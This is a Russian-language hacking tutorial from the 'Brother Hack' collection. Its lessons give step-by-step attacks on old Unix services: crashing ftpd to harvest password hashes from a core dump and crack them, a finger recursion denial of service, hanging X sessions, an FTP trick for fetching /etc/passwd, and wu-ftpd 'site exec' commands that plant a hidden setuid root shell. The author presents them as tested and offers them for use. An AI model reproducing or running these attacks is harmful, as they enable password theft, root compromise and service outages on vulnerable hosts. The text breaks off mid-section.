"Технология взлома"

Фрагменты сборника. Часть 1: Взлом глобальных сетей
Brother Hack
 
 Lesson 001
Цель: получение паролей account'ов, находящихся на сервере, допускающем guest telnet-вход при использовании ftp-хоста. Действует на 50% систем.
Значит, ниже приведен тип лога, при использовании этой атаки. Работает, что, конечно-же проверено. Возможно на 40-50% систем, причем в основном администрируемые BSD-хостами.
 
 bash$ telnet victim.host ftp
Trying xxx.xxx.xxx.xxx...
Connected to victim.host.
Escape character is "^]".
220 victim.host FTP server ready.
user root
530 User root access denied...
user ftp
331 Guest login ok, send your complete e-mail address as password.
pass aaa@
230 Guest login ok, access restriction apply.
cwd incoming
250 CWD command successful.
list x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x
x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x
x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x
Connection closed by foreign host.
 
Если все так и выглядит, значит ftp daemon на этом хосте свалилися в core. Core - это образ памяти, который содержит, как правило, достаточно большой кусок passwd. Причем не важно, стоит ли на хосте shadow password, или не стоит. Осталось только найти и скачать его ;)
Почему это срабатывает в 50% случаев - именно потому, что core далеко не всегда валится в incoming. Это зависит от версии операционки и версии ftp daemona. Может еще от фазы луны, я не знаю ;)
Теперь заходим простым FTP клиентом и ищем в директории incoming или в корневой директории файл ftpd.core. Если он есть - скачиваем его себе. Если все это удалось - очень хорошо. Смотрим этот файл, выдираем из него пароли (они очень характерно выглядят) и напускаем на него Crack. Т.е. ломаем методом подбора. Чем больше пользователей и больше словари тем больше вероятность подобрать. В моем случае из ~25 паролей я подобрал два.
PS. Вход через telnet возможен и на 21 порт, то-есть порт ftp-протокола.
PPS. Thanks to Roger
 
 
Lesson 003
Цель: использование отдаленной атаки через finger. Атака происходит на shutdown или зацикливание системы что часто и приводит к одинаковому результату ;)
Многие fingerd инсталляционные комплекты поддерживают переадресацию на другие хосты.
bash$ finger [email protected]
В данном случае происходит подставка system.one.com в качестве запрашивающей системы на system.two.com Часто этот метод может быть использован для прикрытия адреса, однако это очень кривой тип атаки. Следует посмотрет на этот вариант:
bash$ finger @@@@@@@@@@@@@@@@@@@host.we.attack
Все знаки @ будут заставлять finger обращаться, с генерированием child процессов на host.we.attack снова и снова. Результат будет очень и очень интересным: сильная процессорная загрузка, мало свободной памяти и мало свободного места на диске из-за большого количества child-процессов.
Часто эту проблему решают переустановкой fingerd без поддержки переадрессаций, или просто отключают данный сервис.
 
 
Lesson 004
Цель: завесить X-Windows session.
Если хост поддерживает telnet сессию к X-Windows порту (обычно где-то между 6000 и 6025. В основном - 6000) это может быть использовано для затормаживания X-Windows сессии вплоть до зависания данной ;) Это выполняется при помощи нескольких telnet соединений к порту программы которая посылает XOpenDisplay() в порт.
Данная атака может использована для Motif или Open Windows
Также эта атака может использоваться для предотвращения соединений к X-Windows порту.
 
 
Lesson 005
Цель: получить root вход.
 
 
bash$ ftp victim.com
Login: press enter
Password: press enter
bash$ quote user ftp
bash$ quote cwd ~root
bash$ quote pass ftp
bash$ cd etc
bash$ get passwd
 
 В данном примере log-файл сохраняет работоспособность.
Если все выполнено правильно и сервер достаточно старый мы получим root вход.
PS. Чаще всего этот пример работает на серверах достаточно старых, тех которые используют большинство Университетов ;)
 
 
Lesson 006
Цель: Internet Daemons ;)
Как известно, Internet хосты используют TCP протокол для соединения и обмена информацией. На ряду с ними используются еще некотрые дополнительные протоколы, список и информация о которых доступна на Unix-системе в /etc/protocols.
В расположении сессиии (OSI model) или Internet (DOD Protocol Model) хосты обмениваются данными через порты, доступные для каждого определенного типа данных. Каждый тип имеет свой определенный исходный и входной порт. Номера портов делятся на два типа: постоянно-определенный и динамически-выделяемый. В системе Unix постоянно-определенные порта описаны в /etc/services. Для более точного и подробного описания неплохо было бы просмотреть RFC(Request For Comments) 1700 которые предлагает наиболее полный список. Динамически-выделяемые порта определяются системой в зависимости от требований и состояний в момент определения.
Unix позволяет использовать соединения через постоянно-определенные порта с Internet daemons , что даст возможность получения соединения со всеми доступными сервисами.
Daemon программы практически всегда выполняются inetd (The Internet Daemon).
Их описания хранятся в конфигурационном файле inted, /etc/inetd.conf.
Многие daemons исполняются с получением привеллегиривонного root доступа. Это дает возможность получить доступ к отдаленным системам.
Daemons в которых мы наиболее заинтересованы:
 
 
Сервис       Номер порта        Описание
------       -----------        --------
ftp              21             File Transfer [Control]
smtp             25             Simple Mail Transfer Protocol
tftp             69             Trivial File Transfer Protocol
finger           79             Finger
www-http         80             World Wide Web HTTP
sunrpc          111             SUN Remote Procedure Call
fln-spx         221             Berkeley rlogind with SPX auth
rsh-spx         222             Berkeley rshd with SPX auth
netinfo         716-719         NetInfo
ibm-res         1405            IBM Remote Execution Starter
nfs             2049            Network File System
x11             6000-6063       X Window System
 
 
rcp/rshd                        Remote Copy/Remote Shell Daemon
nis                             Network Information Services
 
 
 Дальше, я сфокусирую свое внимание на определенных daemons, а именно на возмож- ности их взлома.
ftp 21 File Transfer [Control]
ftp - протокол передачи данных. ftp-запросы обрабатываются FTP daemon, ftpd. wuarchive's ftpd версии выше 2.2 имеют функцию, благодаря которой вы можете исполнить двоичный файл при помощи 'site exec' команды, вызовом ее с опреде- ленным указанием пути с "../" в начале строки.Ниже приводится пример:
Вход в систему с использованием ftp:
 
220 uswest.com FTP server (Version wu-2.1(1) ready.
Name (uswest.com:waltman): waltman
331 Password required for waltman.
Password: jim
230 User waltman logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> quote "site exec cp /bin/sh /tmp/.tno"
200-cp /bin/sh /tmp/tno
ftp> quote "site exec chmod 6755 /tmp/.tno"
200-chmod 6755 /tmp/tno
ftp> quit
221 Goodbye.
smtp 25 Simple Mail Transfer Protocol
 
 Почтовые атаки наиболее распространеные и старые атаки Internet хостов. Наиболее используемый daemon - sendmail. В нем - самая слабая защита. Другие почтовые daemons включают в себя smail, MMDF и IDA sendmail. Sendmail имеет слишком много возможностей взлома, чтобы их всех описать.
Наиболее используемая и исторически известная возможность - "Wizard Mode." В Wizard mode я могу запросить shell через порт 25 (SMTP port). Новые системы не имеют этой дыры. Чтобы выполнить это мы должны использовать telnet на порт 25, ввести WIZ чтобы войти в Wizard mode и ввести пароль. Проблема заключается в том, что расшифрованный пароль сохранен.
Wizard mode пароль в malloc памяти, следовательно он спрятан достаточно. Но ука- затель указан на NULL:
char *wiz = NULL;

 HomePage